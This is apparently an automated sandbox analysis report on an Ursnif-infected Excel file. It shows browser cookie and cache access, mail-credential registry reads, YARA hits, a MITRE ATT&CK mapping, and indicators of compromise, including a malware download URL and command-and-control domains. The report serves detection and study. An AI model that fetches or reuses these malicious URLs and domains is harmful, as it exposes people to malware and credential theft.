Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\CBE7F0D75353AA4E35CB585DED5088B5BB2CA08A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AE22A0F0A82489CB8E655FC2818819FA91DD2B8A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_3
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_2
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\1074F7817233D871CC944D502A9577E43F08D441
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\F6C123BA9B7A4F6A8BB0350975A5AA2D99CD4B8D
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\C27D7A62FCB3822B15FE7A889EAC6EBCB8E81A80
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\C4CE867FE0AA83CF617E1E53F7AD2BEF93EE104F
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B6DA8786A7D636181A70911A15213BBCA7152383
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\BCB517001182874C3EE3D0BC6D29EAF91EE374DB
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\24F9514653FD834D9D33E21B4C0AECB308550A9A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B45AEF301B9732B10C16E5E8B0DBEA59D1B69AD1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\70C2F191395AE2444F6C418256D93D799A956A90
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\2C1C3006E308780316B46ECD995A5336C781BEE6
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_0
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\7DBD6E5E66612FF568AC1DAE7D6AC74339D3042A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\FF0B833C30069A3BC4E969366182DFE389B5A270
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D6525701412DDA4A90A6A63D90D00E4C9159AEAC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000003
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000002
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000001
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000007
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000006
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000005
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000004
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000009
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000008
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\58CCEC10476E9CB5DA9CE3FF0AF5992D809E237E
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\8E791F7BE2E3E2019DC6B755A143896278E03C07
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\F8AC72083E334F70A553AE68455FBDF0E65C5221
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\58A0FB92CAE6B02B4582D904EEC431CBB6B5E40A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\5B9196645BD157422AF27C7DAA67799558B3FDF3
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\4ED140178E492EA87CC63B79854E2794790379DF
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\3E538CAC2C914514ECC5B580E31B0737FF540EB1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\F05AA1EFF89E0FD1AC143555DFC77620967E6322
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AA369978819D108BB5DE6FECD6B74914FE7ABAEC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\1AD79CD9E352B4D21302A1BC230FE9EB0CEAB7CC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\A7917C54721C7E3C9AAFE4198A84F6F2EC3CA3E0
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\698AC159A6BCBA0D13FE6F10F1A38E498F826F33
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\EFAF9EB99E327835B6967A4E9F5034990DF6B1B8
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_00000a
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\3835EDD8701D457A3875F88E6675215A0AA3E0AF
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\78A520FE200DD59F7079043C2E4494D582DB5E27
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\BA5B00FE10C66B51AE0A363E2D5F1B4E065442C6
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\8E68C7016C8759B0ACAD6457BC74279D20949B81
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D99D23F5F3F259C7157F3A35B594FF8A1B4F423F
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\929BCF811537CE5A1B05BC367E7D5FCD9D1512C2
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\333121A7E00FDA6F4294B140CFDA07F2D535F196
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\index
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\0FE7E01D07E074CEFEED27C015D1547B9354372D
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\6C6FC58E102CACB06D13B3875A2BD07C1426EBD6
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\DB11BB04DBABBEED1877D68FDFB7B20A20F3D7A1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D6F079F21194AF40050B050CF0C5B7B7593CB819
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\DDB36231816DC2568B9A92F175CA0175D5255B6D
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AD723E2A38015428896DFDC95ED19ACE3C651918
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\D74761D73B3FE6877898A5D6E1AB6B5BA566BD84
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\013291A16EA8E3175CFC06D53A8C2B8141DD6F17
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\96B7A43304E9646262F1142854470CA1F53426AC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\3B67994E37D438004B4E63B8887ABA39CCE10F06
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\CD57E3AA8FBEB529CF301EA04C8677DF47B1E70A
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\90873B6220C4B6986D18F883E40CDFF4130FA25D
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\81891801FEAAB03CA623D8EA33A96214385BBE6D
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\BAD48B4A98F040CB709A10AB911B7F5951B80382
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\275D9A5B16B4554265D09A906CD570CE978CD459
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\CFD0F2ECB0EF30EDABF9D5E0C6E0F881541171CE
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\EB884CABEA8CEEDAE45ACF90C1602D525A0BC4A1
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\C3357B699A03D6C47624A0BC4184ED6E2B8D6443
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B73E4A4438B9B71F020E7D4B54AE283770E47CA7
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\E6D66AFFD836C8C13B306AAB42C9C6E3425363B6
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\F155A5045E38F0B6AAA9B23A7B2D1F5C01458986
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\E066368A4F08EB33BD47C7065C0D4D8CEF1EBCEB
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\B610CB95B704256B17422E60EED197A84FFE77AA
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\283625767F66A9BAD90DE654C536F9BA74C66CC0
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\645AC9609952C4386AE4A188AB706FBE5D5A9EEC
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cache2\entries\DB35F7B5C3B638134575506C1DECC7214B0152E3

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	Valid Accounts1	Extra Window Memory Injection1	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Data Obfuscation1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting21	Boot or Logon Initialization Scripts	Valid Accounts1	Deobfuscate/Decode Files or Information1	Credential API Hooking2	Peripheral Device Discovery1	Remote Desktop Protocol	Man in the Browser1	Exfiltration Over Bluetooth	Ingress Tool Transfer13	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Access Token Manipulation1	Scripting21	Input Capture11	Account Discovery1	SMB/Windows Admin Shares	Data from Local System1	Automated Exfiltration	Encrypted Channel12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution3	Logon Script (Mac)	Process Injection712	Obfuscated Files or Information2	NTDS	File and Directory Discovery4	Distributed Component Object Model	Screen Capture1	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Command and Scripting Interpreter12	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	System Information Discovery38	SSH	Email Collection21	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	PowerShell1	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	Security Software Discovery221	VNC	Credential API Hooking2	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rootkit2	DCSync	Virtualization/Sandbox Evasion12	Windows Remote Management	Input Capture11	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Process Discovery2	Shared Webroot	Clipboard Data1	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery11	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Virtualization/Sandbox Evasion12	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Access Token Manipulation1	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection712	Keylogging	System Network Configuration Discovery2	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Rundll321	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
xls.xls	16%	Virustotal		Browse
xls.xls	11%	ReversingLabs	Document-Excel.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label
C:\fyjh\zglgy\lckhvmn.drhdh	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png	38%	ReversingLabs	Win32.Trojan.Generic
C:\fyjh\zglgy\lckhvmn.drhdh	38%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.rundll32.exe.400174.2.unpack	100%	Avira	TR/Kazy.4159236	Download File
4.2.rundll32.exe.380000.1.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
4.2.rundll32.exe.470000.5.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
4.2.rundll32.exe.430000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

Source	Detection	Scanner	Link
pronpepsipirpyamvioerd.com	1%	Virustotal	Browse
mozilla.cloudflare-dns.com	0%	Virustotal	Browse
eorctconthoelrrpentshfex.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://pronpepsipirpyamvioerd.com/manifest/epAdaEbgmyrS0/5cBg2_2F/5r8v5YqebG9_2BzXwQ53Or2/m_2BYyZlMo/Wjgc3SrdyI1oKZciJ/0VZWBVvz9ttQ/e_2BqGDPIqO/VywJMmm_2FxNKs/BOcG3xAwzit4RyHpLyJsr/vwEVLjnqkBMf1zrK/m34BDAlEVdkNvcp/4fnxbyz8Lb2BtkfzoG/Qmy6EiDgS/W_2BAz08nRnapN/NuB.snx	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://pronpepsipirpyamvioerd.com/manifest/t9KapG5Lp7Zt_2Fa57QG/GX7C0FfmRVPiI55eGvl/6x2VyI3ttROAIozUzpTtuU/djl44EXt9ama4/XR_2FoMg/DUUaeRp34H0CCf_2FqktcZq/z9PSxtll7Y/oj4uvWMlnUr2X5bcU/HYCHWM70nrfm/_2BgTKf7qxG/3cOw5VQBP7LVAf/95TW5v6vv1PzXG2YnDn_2/B53HOO92/81PS.snx	0%	Avira URL Cloud	safe
http://constitution.org/usdeclar.txt	0%	Avira URL Cloud	safe
http://constitution.org/usdeclar.txtC:	0%	Avira URL Cloud	safe
http://online-docu-sign-st.com/yytr.png	100%	Avira URL Cloud	malware
http://https://file://USER.ID%lu.exe/upd	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://pronpepsipirpyamvioerd.com/manifest/8LuXDq_2BWfBiB/BEj6sfjtywNrZQzF5QZK7/NbbMkjR9SpGW28t6/1m9JUJz0exuG0Ws/6b83q2bcM1KtQpqf51/Z_2B1SUtN/P_2FDTQIaszfL7CFhXYP/tmsBI8pqKk7pm_2BfxZ/6rZJurPMhY6pGTLji_2FEt/IMZgEgmplBU7m/NokZx7zj/OP_2FSvKpKSMcRmuUdUVqR0/teCNe1.snx	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://pronpepsipirpyamvioerd.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pronpepsipirpyamvioerd.com	80.208.230.180	true	false	1%, Virustotal, Browse	unknown
mozilla.cloudflare-dns.com	104.16.249.249	true	false	0%, Virustotal, Browse	unknown
myip.opendns.com	84.17.52.38	true	false		high
eorctconthoelrrpentshfex.com	45.67.231.135	true	true	0%, Virustotal, Browse	unknown
resolver1.opendns.com	208.67.222.222	true	false		high
online-docu-sign-st.com	8.208.96.68	true	true		unknown
1.0.0.127.in-addr.arpa	unknown	unknown	true		unknown
assets.onestore.ms	unknown	unknown	true		unknown
222.222.67.208.in-addr.arpa	unknown	unknown	true		unknown
8.8.8.8.in-addr.arpa	unknown	unknown	true		unknown
ajax.aspnetcdn.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://pronpepsipirpyamvioerd.com/manifest/epAdaEbgmyrS0/5cBg2_2F/5r8v5YqebG9_2BzXwQ53Or2/m_2BYyZlMo/Wjgc3SrdyI1oKZciJ/0VZWBVvz9ttQ/e_2BqGDPIqO/VywJMmm_2FxNKs/BOcG3xAwzit4RyHpLyJsr/vwEVLjnqkBMf1zrK/m34BDAlEVdkNvcp/4fnxbyz8Lb2BtkfzoG/Qmy6EiDgS/W_2BAz08nRnapN/NuB.snx	true	Avira URL Cloud: safe	unknown
http://pronpepsipirpyamvioerd.com/manifest/t9KapG5Lp7Zt_2Fa57QG/GX7C0FfmRVPiI55eGvl/6x2VyI3ttROAIozUzpTtuU/djl44EXt9ama4/XR_2FoMg/DUUaeRp34H0CCf_2FqktcZq/z9PSxtll7Y/oj4uvWMlnUr2X5bcU/HYCHWM70nrfm/_2BgTKf7qxG/3cOw5VQBP7LVAf/95TW5v6vv1PzXG2YnDn_2/B53HOO92/81PS.snx	true	Avira URL Cloud: safe	unknown
http://online-docu-sign-st.com/yytr.png	true	Avira URL Cloud: malware	unknown
http://pronpepsipirpyamvioerd.com/manifest/8LuXDq_2BWfBiB/BEj6sfjtywNrZQzF5QZK7/NbbMkjR9SpGW28t6/1m9JUJz0exuG0Ws/6b83q2bcM1KtQpqf51/Z_2B1SUtN/P_2FDTQIaszfL7CFhXYP/tmsBI8pqKk7pm_2BfxZ/6rZJurPMhY6pGTLji_2FEt/IMZgEgmplBU7m/NokZx7zj/OP_2FSvKpKSMcRmuUdUVqR0/teCNe1.snx	true	Avira URL Cloud: safe	unknown
http://pronpepsipirpyamvioerd.com/favicon.ico	true	Avira URL Cloud: safe	unknown
0	true		low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000013.00000002.2341613809.0000000003D40000.00000002.00000001.sdmp	false		high
http://constitution.org/usdeclar.txt	rundll32.exe, powershell.exe	true	Avira URL Cloud: safe	unknown
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	false		high
http://constitution.org/usdeclar.txtC:	rundll32.exe, 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, powershell.exe, 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://https://file://USER.ID%lu.exe/upd	rundll32.exe, 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, rundll32.exe, 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, powershell.exe, 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	low
